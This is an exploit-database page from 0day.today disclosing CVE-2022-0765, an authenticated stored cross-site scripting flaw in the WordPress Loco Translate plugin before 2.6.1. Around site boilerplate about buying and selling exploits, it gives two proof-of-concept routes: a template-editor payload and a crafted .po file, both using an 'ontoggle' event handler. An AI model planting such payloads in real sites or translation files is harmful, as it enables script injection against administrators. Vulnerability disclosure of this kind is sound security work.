0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
WordPress Loco Translate Plugin < 2.6.1 - Authenticated Stored Cross-Site Scripting Vulnerability
Author
Risk
[
Security Risk Medium
]0day-ID
Category
Date add
CVE
Platform
Tittle: WordPress Plugin Loco Translate < 2.6.1 - Authenticated Stored Cross-Site Scripting References: CVE-2022-0765 Author: Taurus Omar Description: The plugin does not properly remove inline events from elements in the source translation strings before outputting them in the editor in the plugin admin panel, allowing any user with access to the plugin (Translator and Administrator by default) to add arbitrary javascript payloads to the source strings leading to a stored cross-site scripting (XSS) vulnerability. Affects Plugins: loco-translate - Fixed in version 2.6.1 Proof of Concept: ## POC1: via (edit-template) 1.) Got to Plugin Loco Translate 2.) Enter Plugins Options 3.) Enter Edit Template Any Plugin 4.) Add New Message 5.) Edit Message 6.) Replace The Message With The Payload : ">'><details/open/ontoggle=alert('xss')> 7.) Save 8.) Replicated ## POC2 via (example.po) 1.) Got to Plugin Loco Translate 2.) Enter Plugins Options Any Plugin 3.) Upload PO options 3.) Load example.po Example.po msgid "" msgstr "" "Project-Id-Version: xss-tester\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2022-02-25 03:48+0000\n" "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" "Last-Translator: FULL NAME <EMAIL@ADDRESS>\n" "Language-Team: \n" "Language: \n" "Plural-Forms: nplurals=INTEGER; plural=EXPRESSION;\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Loco https://localise.biz/\n" "X-Loco-Version: 2.5.8; wp-5.9.1\n" "X-Domain: xss-tester" msgid "xss-tester" msgstr "" msgid "\">'><details/open/ontoggle=confirm('XSS')>" msgstr "" Classification: Type XSS OWASP top 10 A7: Cross-Site Scripting (XSS) CWE-79 wpScan: https://wpscan.com/vulnerability/58838f51-323d-41e0-8c85-8e113dc2c587 # 0day.today [2024-11-15] #